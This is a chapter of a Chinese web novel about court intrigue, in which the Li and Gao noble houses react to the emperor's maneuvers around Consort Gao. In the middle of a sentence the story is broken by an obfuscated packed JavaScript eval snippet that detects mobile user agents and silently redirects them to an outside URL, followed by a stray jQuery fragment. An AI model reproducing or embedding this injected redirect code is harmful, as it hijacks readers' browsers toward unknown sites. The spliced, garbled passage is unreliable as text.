京中王侯府邸多聚于东北贵地，只有文乡伯府偏居东南瓜州巷。此处虽依山傍水，引些官商筑园，终是与市井杂处，为勋贵所轻。伯爵府坐落于此，足见李家在京中地位不过尔尔。
李秉嫡孙李肃迎娶九皇妹一事，对日渐式微的文乡伯府可谓雪中送炭。九皇妹生母虽非显贵，但天子厚待后宫，出嫁必赐公主封号。这门亲事若能成，不仅嫁妆丰厚，更让李家能在京中挺直腰杆——光是想想，就够李秉梦中笑醒。
谁知高家贵妃横插一手，硬生生断了这门好亲事。李秉那个恨啊！恨到向来谨小慎微的他，竟被御史中丞杨慎之三言两语挑唆得参与罢朝。事后回想，自是悔青了肠子。
“乐王爷还是不见？”见仆人灰头土脸回来，李秉急得直跺脚。
仆人苦着脸：“别说见王爷了，刚报上咱家名号，王府大门就摔在奴才脸上。”
李秉又惊又怒：“那日明明是他主动相约，如今却闭门谢客，莫非存心戏耍老夫？”
当初他随杨慎之罢朝后惶惶不可终日，是康乐郡王主动示好，要他死守杨慎之阵营，共谋对付那“蛊惑圣心”的高贵妃。李秉心知郡王另有所图，但既已与杨慎之绑在一处，能得郡王支持自然求之不得。
那夜茶坊密谈，二人越说越投机，差点就要当场结拜。李秉激动之下，连杨慎之对付平康侯的算计都和盘托出。
“伯爷！”心腹陆管事急奔而来，未到厅门就已大声呼喊：“圣旨……圣旨到了乐王府！康乐郡王被册封嗣王，如今已是康乐王！”
李秉如遭雷击，瘫坐椅上。陆管事慌忙扶住主子，连声唤府医。
“他他……他卖了老夫！”李秉疾呼一声，喷出一口黑血昏死过去。
※
年节将至，平康侯府同样也笼罩在阴霾中。后院花厅里，高瞻默然独坐，旁座上的两人谁也不敢先开口。
两人中一人是二房的高逊，现任京都府少尹，从六品，身为高瞻的亲堂弟这官职是小了些。
另一人是高氏在黔南的远支高继淙，看样子比高瞻小几岁，现任中侍大夫，正五品。虽是远支，但因自小聪颖过人，早早就被高家选到京中作为高瞻的伴读，他与平康侯自幼一同长大，论亲疏还胜过高逊。
眼看着三人已闷坐了一刻钟，高逊瞥了眼高继淙，后者只得打破沉默：“凤栖宫现已复宠，侯爷不该过于忧心才是。”
“复位就是复宠？”高逊冷哼，“许我的宗正少卿，牒书至今未下。”
高瞻连叹气都嫌费力。这蠢材若稍明事理，何至于让高继淙这个远亲在府中地位反超？可他也无颜指责，自己嫡女不也……
襄国公之子死在贵妃暖炉会上，这本是灭顶之灾。未等他替女儿辩解，天子已迅速平息事态——竟是钦定齐王为奉迎使，还要为馨宁郡主建永曜殿！中宫之位就此尘埃落定。他刚缓过神，女儿又打残云家女被降为德妃。云家虽微不足道，却是他多年心腹。训斥的信函尚未送出，女儿竟又一口气打死李家、杨家、陈家的公子！眼看左相之位难保时，天子突然又复了女儿贵妃之位。
这过山车般的两个月，连宦海沉浮二十载的高瞻也快撑不住了。长子高怀玦空有一副皮囊，瞧着也是和他堂叔一样的蠢才，他原指望这自小还算省心的嫡女能稳固侯府，却没想她连侯府的瓦背都要掀了！
见侯爷面色铁青，高继淙连忙奉茶：“贵妃殿下圣眷永驻，侯爷何愁没有转圜之机？”
“转圜？”高瞻笑得比哭还难看。
数月前让沈嫣然染上重疾那回，已是他们筹谋得最接近事成的一回。真当沈安世和大长公主是摆设？何况今日不同往日。
当初太后指婚，天子默许只是权宜。以馨宁郡主的性子，不用旁人动手就会自毁前程。如今却是天子亲定婚期——依那位陛下的脾气，除非沈嫣然死了，否则馨宁郡主就算捅破天也会死在凤座上。
现如今馨宁郡主倒是安分了，可闯祸的变成了自家闺女！
“圣眷永驻？”高瞻只觉得这是个笑话，“这种蠢话日后少说。”
女儿出生时，侯府和将军府比得嫡子高怀玦还欢喜。自幼被捧作“宝珠”，人称“风华冠帝京”。如今想来，他对女儿的了解多来自旁人赞誉，仕途拼搏时，有时一月也见不上一次。何况楚氏那心胸狭隘的妇人，能教出什么好女儿？不过沽名钓誉罢了。
本不愿让“宝珠”入宫，直到彼时的太子殿下青眼有加，他才动了用嫡女更上一阶的念头。
年轻的天子自幼受先帝亲自庭训，尽得帝王心术精髓，深谙制衡之道。他这个左相虽居台阁之首，却是右相魏亚楠执掌中书机枢。枢密院崔岳虽总揽兵符，但兵权早已由殿前司都虞候谢知言、齐王明熙朗、兵部尚书郑通三家分之。襄国公沈安世这个枢密副使辅弼军机，更像个草拟文书的执笔。
九官分职之气象，庙堂之上无不可替之臣，纵使三公九卿，也不过是帝王的掌中玉圭，纵使尚书省六曹，亦不过是御前笔墨。世代簪缨的襄国公府、平康侯府也不免戚戚然，只求更进一步，筑牢家族基石。
高瞻自然知道后位如渊——大昭朝的外戚历来都在烈火烹油后归于寂寥，譬如孝懿皇后与当今太后那萧氏一门。然而，宦海沉浮，非进即退，襄国公府夺中宫之心势如虎狼，平康侯府如弃后位之争，只会遭沈家和大长公主鲸吞，他高家门庭渐衰必成定势。朝堂之上，退一步非海阔天空，乃万丈绝壁。
太子殿下自少年时便独独钟情他的嫡女，高家的筹码理应最大，谁想是他倦怠了，本以为胜券在握，却不想馨宁郡主使出“登龙床”的手段。更惊人的是，最恨被胁迫的天子竟认了太后指婚！
君心难测，哪有什么圣眷永驻。谁为后、谁为妃，不过是天子布棋法门罢了。
高继淙抿紧嘴唇，片刻后吁了口气：“侯爷，或许我等揣测错了圣心。”
高瞻摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065502|176669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了摇头，“并非错了。要说错，也是我高家列祖列宗之错！”说罢将手中的茶杯砸了出去。
列祖列宗竟让他高家生出这样的逆女！眼下别说表率六宫，更别说什么后位，照此下去，她来日在冷宫中能多活几年都算天家隆恩！
高逊吓得一抖，看到高继淙使来的眼色，立马拱手溜人：“兄长，我想起夫人交代要去置办年节货品，先告退了。”
蠢货总算走了，高瞻和高继淙说话也方便些了。
高继淙压低声音道：“侯爷莫非没想过沈国公之子……死得蹊跷？”
高瞻微微颔首。
见侯爷认同，高继淙继续道：“或许贵妃娘娘是……替罪羊？”他环顾四周，确认无人后才敢说：“是……陛下？”
高瞻猛地眯眼：“砚声，慎言。本侯说过多少次，把你的聪明劲儿收起来。”
高继淙急道：“侯爷，现在不是藏拙的时候！”他缓缓起身，声音发颤：“侯爷早知道了是不是？所以贵妃蒙冤时，侯爷不出面辩解，全凭陛下裁决。”
高瞻不答，但也没制止。
高继淙来回踱步，又坐回去：“这次三家公子死在贵妃廷杖下，侯爷又默不作声，还是因为陛下？一切又要等陛下圣裁？”
高瞻长叹一声，走到门边望着阴沉的天：“砚声，你觉得当今天子对百官如何？”
“自然是隆恩浩荡……”高继淙突然噤声，半晌才道：“当今天子是仁君，厚待百官，虽说更偏爱年轻官员些……”
高瞻冷笑：“可本侯怎么觉得……他有些痛恨他的臣子。”
高继淙脸色煞白：“侯爷慎言！这话从何说起？”
高瞻只道：“你和怀玦备上厚礼，你二人亲自去那三家登门赔罪。记住，不论人家如何折辱你们，都得受着。”他转过头，压低声音道：“想些法子，让他们极尽羞辱你二人最好。”
高继淙不解，刚要问侯爷背后的深意。正在此时，管事高三慌张来报：“侯爷，宣旨使到府门了！”
高继淙惊道：“突旨？！何事会传突旨？”
未事先传知的突旨，定然不是什么福事！
高瞻整衣疾奔前庭。赶到正厅时，楚夫人已候在宣旨使前。
夫妇跪接圣旨，只听宣旨使朗声：
“奉天承运皇帝，诏曰：毓歆贵妃高氏，柔嘉维则，侍奉宫闱夙彰淑慎。然其体弱多疾，值此严冬尤见憔悴，朕心深为轸念。闻尔侯府暖阁有地热温泉，特敕其归省调养，着阖府悉心照料，温汤晨沐不可怠。太医院协理脉案，每月奏报病势。尔等当知贵妃凤体之重，若调养得宜，朕必厚赏，倘有疏失，必严惩不贷。待玉体康健，凤辇亲迎。钦此。”
见平康侯久久不伸手，宣旨使低头悄声道：“侯爷，接旨啊。”
“侯爷？”楚夫人急得轻推了下夫君，当即惊呼：“侯爷？！”
高瞻身子一歪倒了下去。嗯，昏过去了。